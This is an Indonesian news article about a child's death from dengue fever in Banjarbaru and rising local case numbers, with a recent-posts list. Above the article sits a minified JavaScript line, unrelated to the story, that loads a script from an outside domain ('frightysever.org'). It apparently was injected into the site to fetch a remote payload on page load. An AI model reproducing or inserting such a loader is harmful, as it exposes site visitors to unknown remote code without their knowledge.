(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Awas DBD, Anak 9 Tahun di Landasan Ulin Kehilangan Nyawa


BANJARBARU, Memasuki musim hujan, DBD (Demam Berdarah Dengue) mulai mengancam. Dalam sebulan terakhir, kasusnya terus meningkat. Bahkan, satu orang warga di Banjarbaru dikabarkan meninggal dunia lantaran penyakit yang diakibatkan oleh gigitan nyamuk Aedes Aegypti tersebut.

Kabar adanya satu pasien DBD yang meninggal dunia disampaikan Pengelola Program DBD pada Puskesmas Landasan Ulin Fitria. Fitria menyebut, pasien tersebut anak-anak berusia sembilan tahun.

“Dia (anak) warga Kelurahan Landasan Ulin Tengah, meninggal dunia pada 30 November lalu,” katanya.

Petugas medis Puskesmas Landasan Ulin ini mengungkapkan, kasus DBD tahun ini meningkat cukup signifikan. Di kawasan Landasan Ulin sendiri, sekarang telah ditemukan 22 kasus. Padahal, tahun lalu hanya 16 kasus. “Kami sudah sering melakukan penyuluhan mengenai pemberantasan sarang nyamuk maupun cara terakhir berupa fogging. Tapi, kasusnya masih ada,” ungkapnya.

Secara terpisah, Kepala Dinas Kesehatan Banjarbaru drg Agus Widjaja justru mengaku belum mengetahui ada pasien DBD yang meninggal dunia. “Kami belum dengar kabarnya,” ujarnya.

Namun, Kaidinkes Banjarbaru membenarkan jika kasus DBD tahun 2018 meningkat signifikan. Jumlah kasus yang sudah mereka rekap dari Januari hingga Oktober, penderita DBD yang ditemukan telah mencapai 123 orang. “Naik dua kali lipat dibandingkan tahun lalu yang hanya 56 kasus,” ujar mantan Dirut RSUD Banjarbaru ini.

Agus menduga, tingginya kasus DBD pada tahun ini dikarenakan belum maksimalnya perilaku hidup bersih yang dilakukan masyarakat. “Masih banyak yang menyepelekan tiga M. Yaitu mengubur barang bekas, menguras bak mandi dan menutup tempat air yang dapat menjadi sarang nyamuk,” bebernya.

DBD sendiri merupakan penyakit yang diakibatkan oleh gigitan nyamuk Aedes Aegypti. Jika lokasi berkembangnya jentik-jentik dibiarkan. Maka, nyamuk dewasa pembawa penyakit tersebut bakal terus berkembang.

Untuk itu, Agus meminta agar warga membiasakan diri hidup bersih. Agar nyamuk tidak dapat berkembang biak. “Pastikan lingkungan tetap bersih dan jangan membuang sampah sembarangan,” pungkasnya. (rico)

Reporter:Rico
Editor:Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.